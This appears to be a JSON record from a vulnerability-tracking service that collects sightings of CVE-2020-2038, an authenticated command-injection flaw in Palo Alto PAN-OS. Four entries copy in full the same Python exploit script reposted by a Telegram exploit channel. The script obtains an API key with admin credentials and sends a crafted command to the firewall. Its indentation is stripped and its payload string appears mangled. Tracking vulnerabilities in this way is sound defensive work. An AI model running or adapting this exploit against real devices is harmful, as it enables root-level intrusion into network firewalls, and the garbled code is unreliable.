{"vulnerability": "cve-2020-2038", "sightings": [{"uuid": "059f345c-a3db-4a02-a5bd-996178ef5014", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-2038", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-06T03:13:44.000000Z"}, {"uuid": "169ed065-76a1-493f-9b1b-24c2bed5c19a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-2038", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-23T04:10:26.000000Z"}, {"uuid": "06dcb7a3-68f5-4567-9f79-dc0e3d5c434d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-2038", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/panos_op_cmd_exec.rb", "content": "", "creation_timestamp": "2022-09-15T16:28:39.000000Z"}, {"uuid": "7c417312-0b9b-42c2-b882-6e6131112a54", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-2038", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/2687", "content": "#Threat_Research\n1. Root cause analysis and PoC for a MS SQL Server 2014/2016/2017 Stack Overflow Vulnerability (CVE-2019-1068) by reversing svl.dll\nhttps://0xsaiyajin.github.io/vulnerability-research/2021/02/06/discovering-an-undisclosed-stack-overflow-vulnerability-in-mssql-server-cve-2019-1068.html\n2. Analysis of CVE-2021-1722 - Windows Fax Service RCE Vulnerability\nhttps://streetfight.medium.com/analysis-of-cve-2021-1722-684d61a20041\n3. Swarm of Palo Alto PAN-OS vulnerabilities (PoCs):\n- arbitrary OS command execution by an authorized user (CVE-2020-2037/CVE-2020-2038)\n- DoS by an unauthorized user\u00a0(CVE-2020-2039)\n- reflected XSS\u00a0(CVE-2020-2036)\nhttps://swarm.ptsecurity.com/swarm-of-palo-alto-pan-os-vulnerabilities", "creation_timestamp": "2021-02-12T12:57:54.000000Z"}, {"uuid": "65fd7f7c-baad-43a2-a961-40b01c4e0cac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-2038", "type": "seen", "source": "Telegram/wyxK3ktnUsAQf5UGj-tWpbMYz_DGWS-blZOqkqUSZ8m0KA0", "content": "", "creation_timestamp": "2026-08-30T05:00:04.662355Z"}, {"uuid": "27441f7e-245f-4791-8f11-babf666ab112", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-2038", "type": "published-proof-of-concept", "source": "Telegram/wyxK3ktnUsAQf5UGj-tWpbMYz_DGWS-blZOqkqUSZ8m0KA0", "content": "", "creation_timestamp": "2026-08-31T00:00:41.182621Z"}, {"uuid": "d28a76e0-7a08-4ea1-a62d-e4b7dece43fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-2038", "type": "seen", "source": "https://t.me/hacking_Attack/64815", "content": "Exploit Collector\nPAN-OS 10.0 Remote Code Execution\n\nhttps://4.bp.blogspot.com/-f2P6cxL3l-g/WWlvB5J0BVI/AAAAAAAAIKc/5_BozSRH9sAdcCSQmN2ufmoLAOqLp1P9QCLcBGAs/s1600/h125.png \nPAN-OS version 10.0 suffers from a remote code execution vulnerability.\n\nSHA-256 | c1282cb5ecd90e16f595092c1707c237e44c6b5bd2c379fcb5da77524df6d2c8\n\nDownload\n# Exploit Title: PAN-OS 10.0 - Remote Code Execution (RCE) (Authenticated)\n# Date: 2022-08-13\n# Exploit Author: UnD3sc0n0c1d0\n# Software Link: https://security.paloaltonetworks.com/CVE-2020-2038\n# Category: Web Application\n# Version: <10.0.1,<9.1.4\n# Tested on: PAN-OS 10.0 - Parrot OS\n# CVE : CVE-2020-2038\n#\n# Description:\n# An OS Command Injection vulnerability in the PAN-OS management interface that allows authenticated \n# administrators to execute arbitrary OS commands with root privileges.\n# More info: https://swarm.ptsecurity.com/swarm-of-palo-alto-pan-os-vulnerabilities/\n# Credits: Mikhail Klyuchnikov and Nikita Abramov of Positive Technologies for discovering and reporting this issue.\n\n#!/usr/bin/env python3\n\nimport requests\nimport urllib3\nimport sys\nimport getopt\nimport xmltodict\n\nurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\n\ndef banner():\nprint('\\n###########################################################################')\nprint('# Proof of Concept for CVE-2020-2038                                      #')\nprint('# Vulnerability discovered by Mikhail Klyuchnikov and Nikita Abramov of   #')\nprint('# Positive Technologies                                                   #')\nprint('# https://swarm.ptsecurity.com/swarm-of-palo-alto-pan-os-vulnerabilities/ #')\nprint('#                                                                         #')\nprint('#                           Exploit by: Juampa Rodr\u00edguez (@UnD3sc0n0c1d0) #')\nprint('###########################################################################')\n\ndef exploit(target,user,password,command):\napiparam = {'type': 'keygen', 'user': user, 'password': password}\napiresponse = requests.get(target+'api/', params=apiparam, verify=False)\nxmlparse = xmltodict.parse(apiresponse.content)\napikey = xmlparse['response']['result']['key']\npayload = '<cms-ping<host8.8.8.8<count1<pattern111'\nparameters = {'cmd': payload, 'type': 'op', 'key': apikey}\nresponse = requests.get(target+'api', params=parameters, verify=False)\nprint(response.text[50:-20])\n\ndef usage():\nprint('\\nusage: CVE-2020-2038.py\\n\\n')\nprint('arguments:')\nprint('     -h      show this help message and exit')\nprint('     -t      target URL (ex: http://vulnerable.host/)')\nprint('     -u      target administrator user')\nprint('     -p      pasword of the defined user account')\nprint('     -c      command you want to execute on the target\\n')\n\ndef main(argv):\nif len(sys.argv) < 9:\nbanner()\nusage()\nsys.exit()\ntry:\nopts, args = getopt.getopt(argv,\"ht:u:p:c:\")\nexcept getopt.GetoptError:\nbanner()\nusage()\nsys.exit()\nfor opt, arg in opts:\nif opt == '-h':\nusage()\nsys.exit()\nif opt == '-t':\ntarget = arg\nif opt == '-u':\nuser = arg\nif opt == '-p':\npassword = arg\nif opt == '-c':\ncommand = arg\nbanner()\nexploit(target,user,password,command)\nsys.exit()\n\nif __name__ == \"__main__\":\ntry:\nmain(sys.argv[1:])\nexcept KeyboardInterrupt:\nprint('Interrupted by users...')\nexcept:\nsys.exit()\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-01T20:01:26.687935Z"}, {"uuid": "aa8cf7fc-69ac-4a03-ab63-94d7ea78baea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-2038", "type": "seen", "source": "https://t.me/hacking_Attack/64815", "content": "Exploit Collector\nPAN-OS 10.0 Remote Code Execution\n\nhttps://4.bp.blogspot.com/-f2P6cxL3l-g/WWlvB5J0BVI/AAAAAAAAIKc/5_BozSRH9sAdcCSQmN2ufmoLAOqLp1P9QCLcBGAs/s1600/h125.png \nPAN-OS version 10.0 suffers from a remote code execution vulnerability.\n\nSHA-256 | c1282cb5ecd90e16f595092c1707c237e44c6b5bd2c379fcb5da77524df6d2c8\n\nDownload\n# Exploit Title: PAN-OS 10.0 - Remote Code Execution (RCE) (Authenticated)\n# Date: 2022-08-13\n# Exploit Author: UnD3sc0n0c1d0\n# Software Link: https://security.paloaltonetworks.com/CVE-2020-2038\n# Category: Web Application\n# Version: <10.0.1,<9.1.4\n# Tested on: PAN-OS 10.0 - Parrot OS\n# CVE : CVE-2020-2038\n#\n# Description:\n# An OS Command Injection vulnerability in the PAN-OS management interface that allows authenticated \n# administrators to execute arbitrary OS commands with root privileges.\n# More info: https://swarm.ptsecurity.com/swarm-of-palo-alto-pan-os-vulnerabilities/\n# Credits: Mikhail Klyuchnikov and Nikita Abramov of Positive Technologies for discovering and reporting this issue.\n\n#!/usr/bin/env python3\n\nimport requests\nimport urllib3\nimport sys\nimport getopt\nimport xmltodict\n\nurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\n\ndef banner():\nprint('\\n###########################################################################')\nprint('# Proof of Concept for CVE-2020-2038                                      #')\nprint('# Vulnerability discovered by Mikhail Klyuchnikov and Nikita Abramov of   #')\nprint('# Positive Technologies                                                   #')\nprint('# https://swarm.ptsecurity.com/swarm-of-palo-alto-pan-os-vulnerabilities/ #')\nprint('#                                                                         #')\nprint('#                           Exploit by: Juampa Rodr\u00edguez (@UnD3sc0n0c1d0) #')\nprint('###########################################################################')\n\ndef exploit(target,user,password,command):\napiparam = {'type': 'keygen', 'user': user, 'password': password}\napiresponse = requests.get(target+'api/', params=apiparam, verify=False)\nxmlparse = xmltodict.parse(apiresponse.content)\napikey = xmlparse['response']['result']['key']\npayload = '<cms-ping<host8.8.8.8<count1<pattern111'\nparameters = {'cmd': payload, 'type': 'op', 'key': apikey}\nresponse = requests.get(target+'api', params=parameters, verify=False)\nprint(response.text[50:-20])\n\ndef usage():\nprint('\\nusage: CVE-2020-2038.py\\n\\n')\nprint('arguments:')\nprint('     -h      show this help message and exit')\nprint('     -t      target URL (ex: http://vulnerable.host/)')\nprint('     -u      target administrator user')\nprint('     -p      pasword of the defined user account')\nprint('     -c      command you want to execute on the target\\n')\n\ndef main(argv):\nif len(sys.argv) < 9:\nbanner()\nusage()\nsys.exit()\ntry:\nopts, args = getopt.getopt(argv,\"ht:u:p:c:\")\nexcept getopt.GetoptError:\nbanner()\nusage()\nsys.exit()\nfor opt, arg in opts:\nif opt == '-h':\nusage()\nsys.exit()\nif opt == '-t':\ntarget = arg\nif opt == '-u':\nuser = arg\nif opt == '-p':\npassword = arg\nif opt == '-c':\ncommand = arg\nbanner()\nexploit(target,user,password,command)\nsys.exit()\n\nif __name__ == \"__main__\":\ntry:\nmain(sys.argv[1:])\nexcept KeyboardInterrupt:\nprint('Interrupted by users...')\nexcept:\nsys.exit()\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-02T01:01:41.817159Z"}, {"uuid": "a43f1d47-e5d5-4654-ac45-b6e4404f083c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-2038", "type": "seen", "source": "Telegram/wsozqluPl_W06A_oXbzfIKTVzNLR6fGSgCNc8JJ1fbOlU5U", "content": "", "creation_timestamp": "2026-09-04T05:00:03.604861Z"}, {"uuid": "2ee15742-44ba-4a8c-b0e3-efe1e5b4998d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-2038", "type": "published-proof-of-concept", "source": "Telegram/wsozqluPl_W06A_oXbzfIKTVzNLR6fGSgCNc8JJ1fbOlU5U", "content": "", "creation_timestamp": "2026-09-05T01:00:39.374473Z"}, {"uuid": "fcf6726f-c772-46c5-85f2-cebcbb09e6e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-2038", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/64815", "content": "Exploit Collector\nPAN-OS 10.0 Remote Code Execution\n\nhttps://4.bp.blogspot.com/-f2P6cxL3l-g/WWlvB5J0BVI/AAAAAAAAIKc/5_BozSRH9sAdcCSQmN2ufmoLAOqLp1P9QCLcBGAs/s1600/h125.png \nPAN-OS version 10.0 suffers from a remote code execution vulnerability.\n\nSHA-256 | c1282cb5ecd90e16f595092c1707c237e44c6b5bd2c379fcb5da77524df6d2c8\n\nDownload\n# Exploit Title: PAN-OS 10.0 - Remote Code Execution (RCE) (Authenticated)\n# Date: 2022-08-13\n# Exploit Author: UnD3sc0n0c1d0\n# Software Link: https://security.paloaltonetworks.com/CVE-2020-2038\n# Category: Web Application\n# Version: <10.0.1,<9.1.4\n# Tested on: PAN-OS 10.0 - Parrot OS\n# CVE : CVE-2020-2038\n#\n# Description:\n# An OS Command Injection vulnerability in the PAN-OS management interface that allows authenticated \n# administrators to execute arbitrary OS commands with root privileges.\n# More info: https://swarm.ptsecurity.com/swarm-of-palo-alto-pan-os-vulnerabilities/\n# Credits: Mikhail Klyuchnikov and Nikita Abramov of Positive Technologies for discovering and reporting this issue.\n\n#!/usr/bin/env python3\n\nimport requests\nimport urllib3\nimport sys\nimport getopt\nimport xmltodict\n\nurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\n\ndef banner():\nprint('\\n###########################################################################')\nprint('# Proof of Concept for CVE-2020-2038                                      #')\nprint('# Vulnerability discovered by Mikhail Klyuchnikov and Nikita Abramov of   #')\nprint('# Positive Technologies                                                   #')\nprint('# https://swarm.ptsecurity.com/swarm-of-palo-alto-pan-os-vulnerabilities/ #')\nprint('#                                                                         #')\nprint('#                           Exploit by: Juampa Rodr\u00edguez (@UnD3sc0n0c1d0) #')\nprint('###########################################################################')\n\ndef exploit(target,user,password,command):\napiparam = {'type': 'keygen', 'user': user, 'password': password}\napiresponse = requests.get(target+'api/', params=apiparam, verify=False)\nxmlparse = xmltodict.parse(apiresponse.content)\napikey = xmlparse['response']['result']['key']\npayload = '<cms-ping<host8.8.8.8<count1<pattern111'\nparameters = {'cmd': payload, 'type': 'op', 'key': apikey}\nresponse = requests.get(target+'api', params=parameters, verify=False)\nprint(response.text[50:-20])\n\ndef usage():\nprint('\\nusage: CVE-2020-2038.py\\n\\n')\nprint('arguments:')\nprint('     -h      show this help message and exit')\nprint('     -t      target URL (ex: http://vulnerable.host/)')\nprint('     -u      target administrator user')\nprint('     -p      pasword of the defined user account')\nprint('     -c      command you want to execute on the target\\n')\n\ndef main(argv):\nif len(sys.argv) < 9:\nbanner()\nusage()\nsys.exit()\ntry:\nopts, args = getopt.getopt(argv,\"ht:u:p:c:\")\nexcept getopt.GetoptError:\nbanner()\nusage()\nsys.exit()\nfor opt, arg in opts:\nif opt == '-h':\nusage()\nsys.exit()\nif opt == '-t':\ntarget = arg\nif opt == '-u':\nuser = arg\nif opt == '-p':\npassword = arg\nif opt == '-c':\ncommand = arg\nbanner()\nexploit(target,user,password,command)\nsys.exit()\n\nif __name__ == \"__main__\":\ntry:\nmain(sys.argv[1:])\nexcept KeyboardInterrupt:\nprint('Interrupted by users...')\nexcept:\nsys.exit()\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-05T12:00:05.512628Z"}, {"uuid": "4f5cde3e-a61b-4f0e-a046-504fda5ba20f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-2038", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/64815", "content": "Exploit Collector\nPAN-OS 10.0 Remote Code Execution\n\nhttps://4.bp.blogspot.com/-f2P6cxL3l-g/WWlvB5J0BVI/AAAAAAAAIKc/5_BozSRH9sAdcCSQmN2ufmoLAOqLp1P9QCLcBGAs/s1600/h125.png \nPAN-OS version 10.0 suffers from a remote code execution vulnerability.\n\nSHA-256 | c1282cb5ecd90e16f595092c1707c237e44c6b5bd2c379fcb5da77524df6d2c8\n\nDownload\n# Exploit Title: PAN-OS 10.0 - Remote Code Execution (RCE) (Authenticated)\n# Date: 2022-08-13\n# Exploit Author: UnD3sc0n0c1d0\n# Software Link: https://security.paloaltonetworks.com/CVE-2020-2038\n# Category: Web Application\n# Version: <10.0.1,<9.1.4\n# Tested on: PAN-OS 10.0 - Parrot OS\n# CVE : CVE-2020-2038\n#\n# Description:\n# An OS Command Injection vulnerability in the PAN-OS management interface that allows authenticated \n# administrators to execute arbitrary OS commands with root privileges.\n# More info: https://swarm.ptsecurity.com/swarm-of-palo-alto-pan-os-vulnerabilities/\n# Credits: Mikhail Klyuchnikov and Nikita Abramov of Positive Technologies for discovering and reporting this issue.\n\n#!/usr/bin/env python3\n\nimport requests\nimport urllib3\nimport sys\nimport getopt\nimport xmltodict\n\nurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\n\ndef banner():\nprint('\\n###########################################################################')\nprint('# Proof of Concept for CVE-2020-2038                                      #')\nprint('# Vulnerability discovered by Mikhail Klyuchnikov and Nikita Abramov of   #')\nprint('# Positive Technologies                                                   #')\nprint('# https://swarm.ptsecurity.com/swarm-of-palo-alto-pan-os-vulnerabilities/ #')\nprint('#                                                                         #')\nprint('#                           Exploit by: Juampa Rodr\u00edguez (@UnD3sc0n0c1d0) #')\nprint('###########################################################################')\n\ndef exploit(target,user,password,command):\napiparam = {'type': 'keygen', 'user': user, 'password': password}\napiresponse = requests.get(target+'api/', params=apiparam, verify=False)\nxmlparse = xmltodict.parse(apiresponse.content)\napikey = xmlparse['response']['result']['key']\npayload = '<cms-ping<host8.8.8.8<count1<pattern111'\nparameters = {'cmd': payload, 'type': 'op', 'key': apikey}\nresponse = requests.get(target+'api', params=parameters, verify=False)\nprint(response.text[50:-20])\n\ndef usage():\nprint('\\nusage: CVE-2020-2038.py\\n\\n')\nprint('arguments:')\nprint('     -h      show this help message and exit')\nprint('     -t      target URL (ex: http://vulnerable.host/)')\nprint('     -u      target administrator user')\nprint('     -p      pasword of the defined user account')\nprint('     -c      command you want to execute on the target\\n')\n\ndef main(argv):\nif len(sys.argv) < 9:\nbanner()\nusage()\nsys.exit()\ntry:\nopts, args = getopt.getopt(argv,\"ht:u:p:c:\")\nexcept getopt.GetoptError:\nbanner()\nusage()\nsys.exit()\nfor opt, arg in opts:\nif opt == '-h':\nusage()\nsys.exit()\nif opt == '-t':\ntarget = arg\nif opt == '-u':\nuser = arg\nif opt == '-p':\npassword = arg\nif opt == '-c':\ncommand = arg\nbanner()\nexploit(target,user,password,command)\nsys.exit()\n\nif __name__ == \"__main__\":\ntry:\nmain(sys.argv[1:])\nexcept KeyboardInterrupt:\nprint('Interrupted by users...')\nexcept:\nsys.exit()\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-06T00:00:48.545578Z"}, {"uuid": "88bb94da-6feb-479b-9849-88e9bffc340a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-2038", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/panos_op_cmd_exec.rb", "content": "{\"aliases\": [], \"arch\": \"x86, x64, cmd\", \"author\": [\"Mikhail Klyuchnikov\", \"Nikita Abramov\", \"UnD3sc0n0c1d0\", \"jheysel-r7\"], \"autofilter_ports\": [80, 8080, 443, 8000, 8888, 8880, 8008, 3000, 8443], \"autofilter_services\": [\"http\", \"https\"], \"check\": true, \"default_credential\": false, \"description\": \"An OS Command Injection vulnerability in the PAN-OS management interface that allows authenticated\\n          administrators to execute arbitrary OS commands with root privileges.\\n          This issue impacts PAN-OS versions < 10.0.1, < 9.1.4 and < 9.0.10\", \"disclosure_date\": \"2020-09-09\", \"fullname\": \"exploit/linux/http/panos_op_cmd_exec\", \"is_install_path\": true, \"mod_time\": \"2026-04-22 11:55:15 +0000\", \"name\": \"Palo Alto Networks Authenticated Remote Code Execution\", \"needs_cleanup\": null, \"notes\": {\"Reliability\": [\"repeatable-session\"], \"SideEffects\": [\"artifacts-on-disk\", \"ioc-in-logs\"], \"Stability\": [\"crash-safe\"]}, \"path\": \"/modules/exploits/linux/http/panos_op_cmd_exec.rb\", \"platform\": \"Linux,Unix\", \"post_auth\": false, \"rank\": 600, \"ref_name\": \"linux/http/panos_op_cmd_exec\", \"references\": [\"CVE-2020-2038\", \"URL-https://swarm.ptsecurity.com/swarm-of-palo-alto-pan-os-vulnerabilities/\", \"URL-https://security.paloaltonetworks.com/CVE-2020-2038\", \"URL-https://github.com/und3sc0n0c1d0/CVE-2020-2038\"], \"rport\": 443, \"session_types\": false, \"targets\": [\"Linux \", \"Unix In-Memory\"], \"type\": \"exploit\"}", "creation_timestamp": "2026-09-08T06:48:51.209316Z"}]}